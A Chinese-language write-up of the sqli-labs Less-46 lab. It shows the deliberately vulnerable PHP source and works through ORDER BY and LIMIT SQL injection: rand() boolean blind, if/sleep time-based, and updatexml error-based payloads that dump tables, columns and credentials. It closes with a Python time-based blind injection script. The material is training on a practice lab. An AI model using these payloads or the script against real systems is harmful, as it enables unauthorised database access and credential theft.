请求方式 | 注入类型 | 拼接方式 |
---|---|---|
GET | 报错、布尔盲注、延时盲注 | ORDER BY $id |
我们直接可以从界面中得知传参的参数为SORT,下面我们令参数即sort为1继续尝试输入:
?sort=1
我们可以看到是一个排序表格,同时我们继续尝试将sort参数变为2继续尝试:
可以看到按照字母顺序进行了排序,所以它便是一个使用了order by语句进行排序的查询的一种查询输出方式。
我们这里继续尝试,将参数变为1'
,我们可以看到它进行了报错:
可以看到它直接将报错信息输出了出来,所以我们之后可以进行尝试报错注入。
同时我们之前说了使用了order by,所以这里使用union注入当然是不行的,我们不必进行考虑。我们之后可以跟经常使用order by的正反排序,即为desc以及asc,当然,不加这个默认为从小到大,即为asc。
所以如果这里进行注入点判断时,我们使用order by为一个数值是没有意义的,这里我们需要使用rand函数,下面我们会谈到。
include("../sql-connections/sqli-connect.php");
$id=$_GET['sort'];
if(isset($id))
{
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'SORT:'.$id."\n");
fclose($fp);
$sql = "SELECT * FROM users ORDER BY $id";
$result = mysqli_query($con1, $sql);
if ($result)
{
?>
···
<?php
while ($row = mysqli_fetch_assoc($result))
{
echo "".$row['id']." ";
echo "".$row['username']." ";
echo "".$row['password']." ";
}
echo "";
}
else
{
print_r(mysqli_error($con1));
}
}
else
{
echo "Please input parameter as SORT with numeric value
";
echo '
';
echo "Lesson Concept and code Idea by D4rk";
}
?>
首先进行解读代码,这里我只解读大致部分,首先进行使用GET方式来获取sort参数,然后直接将获取到的参数放入构建的SQL查询语句当中,接着进行判断是否查询成功,如果查询成功,那么输出查询信息,如果没有查询到内容,那么输出报错信息,也是我们的一个注入点。
rand()函数就是可以产生出一个随机数,介于0和1之间的数,rand函数著名的便是用于floor报错注入当中,groupby+floor+count完成的注入。想要了解的可以通过SQL报错注入了解,也是我们需要掌握的一个重要知识点。
当给rand函数一个参数的时候,那么它会将这个参数作为一个随机种子,来生成一个介于0到1之间的一个数,同时最重要的便是种子固定,那么生成的值便固定,我们配合order by使用来进行判断注入,下面我们来观察使用(这里首先假设给true以及false两个种子来观察回显):
?sort=rand(true)
?sort=rand(false)
可以看到给的值为真以及假实则是不一样的,所以这里我们可以轻易的构造出一个布尔盲注或者延时盲注的payload:
?sort=rand(ascii(mid((select database()),1,1))>96)
我们结合上面true以及false的返回即可判断我们构造的payload返回的值是真还是假,这里即可判断出我们的返回是真的,那么我们继续判断,将值设为114以及115再次尝试:
?sort=rand(ascii(mid((select database()),1,1))>114)
?sort=rand(ascii(mid((select database()),1,1))>115)
这里即可判断出数据库名的第一个字符的ascii值为115,所以这个字段为s。使用这种方式来进行盲注或者写脚本来进行注入即可。
这种方式进行盲注仅在order=$id
,数字型注入时才能生效。因为如果变为了'$id'
则会导致if语句变为字符串从而失效:
我们可以看到这里为字符串时,if语句失效了,顺序不改变,而为数字型时排列顺序改变了。
同时这里我们需要在知道列名的情况下进行使用。如果使用数字来代替列名是不行的。
所以这里我们需要在知道列名的情况下进行使用:
?sort=if(表达式,id,username)
当然如果我们在不知道列名的情况下其实也可以使用的:
这里我们主要利用id:
这里我们使用payload为:
?sort=if(表达式,1,(select id from information_schema.tables))
ERROR 1242 (21000): Subquery returns more than 1 row
会使查询内容为空。这个时间盲注便是基于if语句盲注的其中一种,也是利用到了if语句来进行判断,if语句我们上面讨论了可以用两种方式来使其回显改变,从而进行盲注,布尔盲注当然也可以利用,这里我们使用时间盲注。
order by if(表达式,1,sleep(1))
需要注意的是这里的延时时间并不是sleep(1)内的数值,即并不是1s而是大于1s,与查询的语句数据条数成倍数关系:
这里我们可以看到为13.11sec,所以计算公式即为延时时间等于sleep()的秒数乘以所查询数据的条数。
之后我们使用该时间盲注时,将1=2便为表达式即可,比如时间盲注来得到它的数据库名:
?sort=if((ascii(mid((select database()),1,1))>1),sleep(1),1)
所以使用这种方法也可完成注入,加快效率也可以进行编写脚本,同时怕延时时间过长可以添加timeout参数也避免延时时间过长。
之前我们也分析了,它确实输出了报错信息,所以这里我们直接报错注入即可。
1、爆出数据库名
?sort=updatexml(1,concat(0x7e,database(),0x7e),1)
2、爆出数据库中的所有表
?sort=updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema='security'),0x7e),1)
3、爆出数据库users表中的所有列
?sort=updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1)
4、爆出数据
?sort=updatexml(1,concat(0x7e,(select concat(username,0x3a,password)from users limit 0,1),0x7e),1)
这里也不赘述了,改变limit值即可完成数据的查询。
首先需要强调该limit注入只适用于<=MySQL5.5版本中,首先介绍limit使用在mysql中,一般使用limit m,n其中m指的是以m为头开始记录,n即为从m+1开始,取n条数据。
select * from users limit 0,1;
select * from users limit 2,4;
这里我们必须掌握清楚最基础的使用方式。
下面便是limit注入即为注入点在limit后面。
procedure analyse()报错注入
此方法适用于<=MySQL 5.5中,在limit语句后面的注入
在mysql语法中limit后面只能跟PROCEDURE、INTO OUTFILE、FOR UPDATE | LOCK IN SHARE MODE三个函数。
现今的5.7版本后limit 关键字后面就不能和union联合查询一起使用了,但是还可跟PROCEDURE和 INTO两个关键字,但是 INTO 后面写入文件需要知道绝对路径以及写入shell的权限,这里就只演示使用procedure analyse()
函数来实现错误注入,这个函数下有ANALYSE支持两个参数。
报错注入方式:
select * from users order by id limit 0,1 procedure analyse(extractvalue(1,concat(version())));
时间盲注方式:
select * from users order by id LIMIT 1,1 PROCEDURE analyse((select extractvalue(rand(),concat(0x3a,(IF(MID(version(),1,1) LIKE 5, BENCHMARK(5000000,SHA1(1)),1))))),1)
下面我进行补充即为使用时间盲注,编写脚本完成本关的注入,首先这里我们依旧使用时间盲注构造payload完成注入:
import requests
import time
def inject_database(url):
name = ''
for i in range(1, 20):
low = 32
high = 128
mid = (low + high) // 2
while low < high:
# 构造时间盲注payload
payload = "if((ascii(substr(database(),%d,1))>%d),sleep(1),1)" % (i, mid)
# 传参
params = {"sort": payload}
start_time = time.time()
# 异常处理,这里我设定了超时时间为20s
try:
r = requests.get(url, params=params, timeout=20)
except requests.Timeout:
print("Request timed out.")
continue
end_time = time.time()
if end_time - start_time >= 1:
low = mid + 1
else:
high = mid
mid = (low + high) // 2
if mid == 32:
break
name += chr(mid)
print(name)
if __name__ == "__main__":
url = 'http://127.0.0.1/sqli7/Less-46/index.php'
inject_database(url)
这里需要注入URL的正确性进行更改!!!
时间盲注可能时间有点有点长,需要稍加等待
这里我们可以看到代码是没有错误的,爆出了数据库名。
当然,我们还想要爆出数据库下的表名只需更改payload即可:
将payload改为:
if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),%d,1))>%d,sleep(1),0)"%(i,mid)
这里我没有连接,而是采用一个一个表进行注入。一个完成后更改limit后面的值即可。
下面就是一样的步骤了,更改payload然后使用脚本注入出数据即可。